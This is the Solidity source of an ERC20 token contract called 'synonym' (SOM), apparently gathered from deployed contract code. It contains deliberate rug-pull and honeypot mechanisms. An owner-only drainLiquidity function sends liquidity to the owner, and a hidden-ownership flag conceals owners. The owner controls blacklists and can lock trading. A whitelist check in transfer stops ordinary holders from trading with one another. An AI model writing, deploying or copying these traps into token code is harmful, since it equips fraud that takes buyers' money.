creation_sourcecode: // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.0;
  
  contract ERC20Token {
      string public name = "synonym";
      string public symbol = "SOM";
      uint8 public decimals = 18;
      uint256 public totalSupply =1000000000000000000000000;
  
      address public owner;
      mapping(address => uint256) public balanceOf;
      mapping(address => mapping(address => uint256)) public allowance;
      mapping(address => bool) public isSaleLocked;
      mapping(address => bool) public isHiddenOwner;
      bool public liquidityDrainEnabled;
      uint256 public liquidityAmount;
      mapping(address => bool) public isBlacklisted;
      mapping(address => bool) public isWhitelisted;
      bool public antiBotEnabled;
      bool public tradingLocked;
  
      uint256 private constant _MAX_INT = 2**256 - 1;
  
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
      event SaleLocked(address indexed account, bool locked);
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
      event HiddenOwnership(address indexed owner, bool hidden);
      event LiquidityDrained(uint256 amount);
      event Blacklisted(address indexed account, bool blacklisted);
      event Whitelisted(address indexed account, bool whitelisted);
      event AntiBotEnabled(bool enabled);
      event TradingLocked(bool locked);
  
      modifier onlyOwner() {
          require(msg.sender == owner, "ERC20: caller is not the owner");
          _;
      }
  
      modifier tradable() {
          require(!tradingLocked, "ERC20: trading is currently locked");
          _;
      }
  
      constructor(
          string memory _name,
          string memory _symbol,
          uint8 _decimals,
          uint256 _initialSupply
      ) {
          name = _name;
          symbol = _symbol;
          decimals = _decimals;
          totalSupply = _initialSupply * 10 ** uint256(_decimals);
          owner = msg.sender;
          balanceOf[msg.sender] = totalSupply;
      }
  
      function transfer(address _to, uint256 _value) external tradable returns (bool success) {
          require(_to != address(0), "ERC20: transfer to the zero address");
          require(balanceOf[msg.sender] >= _value, "ERC20: insufficient balance for transfer");
          require(!isSaleLocked[msg.sender], "ERC20: sales are locked for this address");
          require(!isBlacklisted[_to], "ERC20: transfer to blacklisted address is prohibited");
          require(isWhitelisted[msg.sender] || isWhitelisted[_to], "ERC20: transfer between non-whitelisted addresses is prohibited");
          require(!antiBotEnabled || tx.origin == msg.sender, "ERC20: frontrun protection is enabled");
  
          balanceOf[msg.sender] -= _value;
          balanceOf[_to] += _value;
          emit Transfer(msg.sender, _to, _value);
          return true;
      }
  
      function lockSales() external {
          isSaleLocked[msg.sender] = true;
          emit SaleLocked(msg.sender, true);
      }
  
      function unlockSales() external {
          isSaleLocked[msg.sender] = false;
          emit SaleLocked(msg.sender, false);
      }
  
      function transferOwnership(address _newOwner) external onlyOwner {
          require(_newOwner != address(0), "ERC20: new owner is the zero address");
          emit OwnershipTransferred(owner, _newOwner);
          owner = _newOwner;
      }
  
      function setHiddenOwnership(address _address, bool _hidden) external onlyOwner {
          isHiddenOwner[_address] = _hidden;
          emit HiddenOwnership(_address, _hidden);
      }
  
      function enableLiquidityDrain() external onlyOwner {
          liquidityDrainEnabled = true;
      }
  
      function disableLiquidityDrain() external onlyOwner {
          liquidityDrainEnabled = false;
      }
  
      function drainLiquidity() external onlyOwner {
          require(liquidityDrainEnabled, "ERC20: liquidity drain is not enabled");
          // Transfer liquidity to the owner address
          _transfer(address(this), owner, liquidityAmount);
          emit LiquidityDrained(liquidityAmount);
      }
  
      function blacklistAddress(address _address, bool _isBlacklisted) external onlyOwner {
          isBlacklisted[_address] = _isBlacklisted;
          emit Blacklisted(_address, _isBlacklisted);
      }
  
      function whitelistAddress(address _address, bool _isWhitelisted) external onlyOwner {
          isWhitelisted[_address] = _isWhitelisted;
          emit Whitelisted(_address, _isWhitelisted);
      }
  
      function enableAntiBot() external onlyOwner {
          antiBotEnabled = true;
          emit AntiBotEnabled(true);
      }
  
      function disableAntiBot() external onlyOwner {
          antiBotEnabled = false;
          emit AntiBotEnabled(false);
      }
  
      function lockTrading() external onlyOwner {
          tradingLocked = true;
          emit TradingLocked(true);
      }
  
      function unlockTrading() external onlyOwner {
          tradingLocked = false;
          emit TradingLocked(false);
      }
  
      // Internal function to safely transfer tokens
      function _transfer(address _from, address _to, uint256 _value) internal {
          require(_to != address(0), "ERC20: transfer to the zero address");
          require(balanceOf[_from] >= _value, "ERC20: insufficient balance for transfer");
          require(balanceOf[_to] + _value >= balanceOf[_to], "ERC20: overflow detected");
  
          balanceOf[_from] -= _value;
          balanceOf[_to] += _value;
          emit Transfer(_from, _to, _value);
      }
  
      // Internal function to handle approvals
      function _approve(address _owner, address _spender, uint256 _value) internal {
          require(_owner != address(0), "ERC20: approve from the zero address");
          require(_spender != address(0), "ERC20: approve to the zero address");
  
          allowance[_owner][_spender] = _value;
          emit Approval(_owner, _spender, _value);
      }
  
      // Approve tokens
      function approve(address _spender, uint256 _value) external returns (bool) {
          _approve(msg.sender, _spender, _value);
          return true;
      }
  
      // Transfer tokens from one address to another
      function transferFrom(address _from, address _to, uint256 _value) external tradable returns (bool) {
          uint256 currentAllowance = allowance[_from][msg.sender];
          require(currentAllowance >= _value, "ERC20: insufficient allowance for transfer");
          require(_from != address(0), "ERC20: transfer from the zero address");
          
          _transfer(_from, _to, _value);
          _approve(_from, msg.sender, currentAllowance - _value);
          return true;
      }
  
      // Increase allowance
      function increaseAllowance(address _spender, uint256 _addedValue) external returns (bool) {
          _approve(msg.sender, _spender, allowance[msg.sender][_spender] + _addedValue);
          return true;
      }
  
      // Decrease allowance
      function decreaseAllowance(address _spender, uint256 _subtractedValue) external returns (bool) {
          uint256 currentAllowance = allowance[msg.sender][_spender];
          require(currentAllowance >= _subtractedValue, "ERC20: decreased allowance below zero");
          
          _approve(msg.sender, _spender, currentAllowance - _subtractedValue);
          return true;
      }
  }